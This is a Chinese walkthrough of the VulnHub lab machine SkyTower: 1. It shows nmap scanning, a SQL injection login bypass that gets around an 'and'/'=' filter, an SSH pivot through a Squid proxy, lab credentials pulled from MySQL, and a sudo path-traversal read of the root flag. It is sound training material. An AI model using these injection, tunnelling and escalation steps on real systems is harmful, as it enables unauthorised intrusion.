SkyTower: 1靶场

来自 <SkyTower: 1 ~ VulnHub>

1,发现靶场不能够所以VMware打开,所以就所以VirtualBox打开,然后两个虚拟机都所以桥接模式使得能够互相通信

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.1.0/24

那么攻击机IP为192.168.1.102,靶场IP192.168.1.101

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.1.101

3128端口服务详情

  • 服务名称: Squid HTTP Proxy
  • 版本号: 3.1.20
  • 协议类型: HTTP代理
  • 默认用途:网页缓存加速;访问控制(ACL);匿名代理;网络流量中转

关键特性与风险

1. 代理功能

  • 用途:可作为正向代理(客户端通过代理访问外部资源);可配置为反向代理(服务端资源发布)
  • 风险:若配置为开放中继(Open Relay),可能被滥用发送垃圾邮件或匿名攻击;可能泄露内网拓扑(通过错误信息或缓存内容)

4,80端口开放的http服务是一个登录页面,说不定存在SQL注入

随便登录输入账户为1@qq.com,密码为1,然后挂上代理使用burpsuite抓个包

改为1@qq.com'试试

发生报错,而使用双引号不发生报错

再使用注释符#

不报错,是单引号的字符型SQL注入。尝试万能密码一把嗦。email=1%40qq.com' and 1 = 1 #&password=1

发生了报错,原来是过滤and和=,就需要绕过。email=1%40qq.com' || 1 #&password=1

成功注入出来登录成功的页面

5,根据提示通过SSH登陆靶场(已经开放了22端口)

username: john

Password: hereisjohn

结果发现无法连接,需要代理跳转,现在设置一下代理

proxytunnel -a 4444 -p 192.168.1.101:3128 -d 192.168.1.101:22

参数解释:

  1. -a 4444
    • 作用:在本地主机(执行命令的机器)上监听 4444 端口。
    • 意义:任何连接到本地 4444 端口的流量,都会被转发到代理服务器,最终到达目标服务。
  2. -p 192.168.1.101:3128
    • 作用:指定 HTTP 代理服务器的地址和端口为 192.168.1.101:3128。
    • 意义:所有流量将通过该代理服务器进行中转。
  3. -d 192.168.1.101:22
    • 作用:指定最终目标服务的地址和端口为 192.168.1.101:22(通常是 SSH 服务)。
    • 意义:隧道会将流量从代理服务器转发到此目标。

完整工作流程:

  1. 本地监听
    本地 4444 端口开始监听,等待连接。
  2. 流量转发至代理
    当用户连接到本地 4444 端口(如执行 ssh -p 4444 user@localhost),流量会被发送到代理服务器 192.168.1.101:3128。
  3. 代理中转流量
    代理服务器接收到流量后,将其转发到最终目标 192.168.1.101:22(SSH 服务)。
  4. 建立隧道
    最终形成一个从本地 4444 端口到目标 SSH 服务的加密隧道,所有数据通过代理服务器中转。

典型使用场景:

  • 绕过防火墙限制
    若本地网络限制直接访问 22 端口(SSH),但允许通过 HTTP 代理(3128 端口),可利用此隧道绕过限制。
  • 访问内网服务
    当目标 192.168.1.101:22 处于内网,且只有代理服务器 192.168.1.101:3128 可被外部访问时,通过此隧道间接访问内网 SSH 服务。

注意事项:

  • 代理服务器需支持 CONNECT 方法
    代理服务器必须允许 CONNECT 方法(通常用于 HTTPS 和 SSH),否则隧道无法建立。
  • 认证问题
    若代理服务器需要身份验证,命令需添加 -U <用户名> 和 -P <密码> 参数,否则连接会被拒绝。
  • 目标与代理的关系
    此例中代理(192.168.1.101:3128)和目标(192.168.1.101:22)位于同一 IP,可能是同一台机器的不同服务,或内网中不同设备(但共享同一 IP 段)。

验证命令是否生效:

  1. 执行命令后,使用 netstat -tuln 检查本地 4444 端口是否处于监听状态。
  2. 尝试通过 SSH 连接本地隧道端口:
    ssh -p 4444 user@localhost
    若成功连接,则隧道生效。

然后再使用ssh登录

ssh john@127.0.0.1 -p 4444

然后就被挤下线了,但是我们可以通过ssh直接执行一些命令

ssh john@127.0.0.1 -p 4444 id

 ssh john@127.0.0.1 -p 4444 /bin/bash

成功开启一个/bin/bash解释器的shell

6,python脚本开启可交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

没有python命令,这可就尴尬了

7,cat .bashrc

.bashrc 是 Bash Shell 的配置文件,用于定义用户个性化的 Shell 环境。

  • 每次打开新的终端窗口或启动 Bash Shell 时,系统会自动加载该文件中的配置。
  • 常用于设置环境变量、别名(alias)、Shell 函数、提示符样式等。
  • 位于用户的主目录下,路径为 ~/.bashrc(例如 /home/username/.bashrc)。

基础配置

  • 交互式 Shell 检测
    case $- in *i*) ;; *) return;; esac
    确保只在交互式 Shell 中生效(如终端窗口),避免影响脚本执行。
  • 历史记录控制
    HISTCONTROL=ignoreboth       # 忽略重复命令和空格开头的命令
    HISTSIZE=1000                # 内存中保存的历史命令数量
    HISTFILESIZE=2000            # 历史文件最大记录数
    shopt -s histappend          # 退出时追加历史记录,而非覆盖
    这是 Bash 的标准历史记录优化配置。

2. 终端环境优化

  • 窗口尺寸自适应
    shopt -s checkwinsize
    终端窗口大小变化后自动更新 LINES 和 COLUMNS 变量。
  • 颜色支持
    根据终端类型 (xterm-color) 和用户配置 (force_color_prompt),设置彩色提示符:
    PS1='\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
    显示彩色用户名、主机名和工作目录。
  • ls 命令颜色别名
    alias ls='ls --color=auto'
    让 ls 命令输出带颜色区分文件类型。

3. 模块化配置

  • 加载外部别名文件
    if [ -f ~/.bash_aliases ]; then . ~/.bash_aliases; fi
    将用户自定义别名分离到 ~/.bash_aliases 文件,保持配置整洁。
  • 启用命令补全
    if [ -f /usr/share/bash-completion/bash_completion ]; then
      . /usr/share/bash-completion/bash_completion
    fi
    支持 Tab 键自动补全命令和参数。

危险代码段

文件末尾存在两行异常代码:

echo "Funds have been withdrawn"  # 输出提示信息
exit                              # 立即退出 Shell

潜在危害

  1. 终端无法使用
    每次打开新终端时,Shell 会立即执行 exit,导致窗口瞬间关闭,用户无法进行任何操作。
  2. 误导性信息
    Funds have been withdrawn(资金已被提取)可能暗示系统被入侵,攻击者试图制造恐慌或掩盖其他恶意操作。
  3. 后门可能性
    此代码可能是攻击者故意插入,用于阻止用户正常登录系统,或掩盖其他恶意进程(如挖矿、数据窃取)。

8,删除.bashrc文件中最后一行exit函数

sed -i '$d' .bashrc

然后再尝试ssh登录靶场,成功上线

9,去到靶场的敏感文件夹/var/www下做信息收集

login.php就是那个存在sql注入的网站页面

10,拿到了数据库账户密码,直接登录数据库

 mysql -u root -p

四条命令直接爆出重要用户的账户密码

show databases;

use SkyTech

how tables;

select * from login

john@skytech.com/hereisjohn  

sara@skytech.com/ihatethisjob

william@skytech.com/senseable

11,尝试登录使用这些用户的账户密码登录网站(估计就是ssh登录的账户密码)

ssh sara@127.0.0.1 -p 4444

依然被下线,重复第七第八的步骤

12,进而成功ssh登录sara

sudo -l查看提权利用点

account具有root权限,直接来cat flag一把嗦

sudo cat /accounts/../root/flag.txt

13,知道了root的账户密码theskytower,再来登录root就算圆满完成

更多推荐